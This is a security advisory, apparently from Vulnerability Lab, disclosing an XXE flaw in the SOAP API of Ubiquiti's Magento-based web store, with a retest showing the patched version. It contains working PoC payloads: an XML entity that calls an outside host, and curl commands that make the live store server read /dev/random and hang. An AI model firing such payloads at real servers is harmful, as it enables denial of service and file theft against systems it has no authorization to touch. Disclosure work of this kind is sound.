[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

UBNT Bug Bounty #2 - XML External Entity Vulnerability



Document Title:
===============
UBNT Bug Bounty #2 - XML External Entity Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1466


Release Date:
=============
2016-04-14


Vulnerability Laboratory ID (VL-ID):
====================================
1466


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
Ubiquiti Networks is an American technology company started in 2005. Based in San Jose, California they are a manufacturer of 
wireless products whose primary focus is on under-served and emerging markets.

(Copy of the Homepage: http://en.wikipedia.org/wiki/Ubiquiti_Networks )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a XEE Vulnerability in the official Ubnt online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-04-14: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ubiquiti Network
Product: Ubnt Store - Web Application (Online-Service) 2015 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An XML external entities injection vulnerability exists on the soap server hosted on https://store.ubnt.com/index.php/api/ magento script. 
The attack allows an attacker to open local files (although perhaps not return the data, see below), leading at best to a DoS.


Proof of Concept (PoC):
=======================
The XEE Vulnerability can be exploited by remote attackers without privileged application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Often this attack can be used to extract files from the server (such as /etc/passwd), or even directly execute code if the PHP 
expect module is installed, however in this case exploitation isn't as straight forward as the issue occurs in the XML pre-check 
code and no user input is returned. That's not to say there isn't a away to exfiltrate data,

--- PoC Session Logs [POST] ---
POST /index.php/api/ HTTP/1.1
Host: store.ubnt.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211


PoC:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "https://zero-way.net/?xxe";>]>
<SOAP-ENV:Envelope>
<SOAP-ENV:Body>

</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

PoC. Reply
<?xml version="1.0" encoding="UTF-8"?>
<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope";>env:Bodyenv:Faultenv:Codeenv:Valueenv:Receiver/env:Value/env:Codeenv:Reasonenv:TextDTD 
are not supported by SOAP/env:Text/env:Reason/env:Fault/env:Body/env:Envelope

You'll get the error "DTD are not supported by SOAP", but the attack will have succeeded.

cURL proof-of-concept which makes the script open /dev/random and hang:
curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' https://store.ubnt.com/index.php/api/

curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' https://store.ubnt.com/index.php/api/soap/

For more information on XXE vulnerabilities in PHP in particular, see:
http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html#xml-external-entity-injection

Hadji Samir

i installed the last version ver 1.9.1.0 - magento ,they fixed the bug xxe/xee:
disabled to prevent XXE/XEE attacks

Poc
curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' http://localhost/magento/index.php/api/
HTTP/1.1 500 Internal Service Error
Date: Sat, 21 Mar 2015 22:00:23 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.36-0+deb7u3
Content-Length: 324
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/";>SOAP-ENV:BodySOAP-ENV:Fault<faultcode>Sender</faultcode><faultstring>Detected use of ENTITY in XML, disabled to prevent XXE/XEE attacks</faultstring>/SOAP-ENV:Fault/SOAP-ENV:Body/SOAP-ENV:Envelope


Security Risk:
==============
The security risk of the xee vulnerability in the soap server is estimated as medium. (CVSS 3.8)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir (samir@xxxxxxxxxxxxxxxxx)  [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@xxxxxxxxxxxxxxxxxxxxx 	- research@xxxxxxxxxxxxxxxxxxxxx 				- admin@xxxxxxxxxxxxxxxxx
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@xxxxxxxxxxxxxxxxxxxxx) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx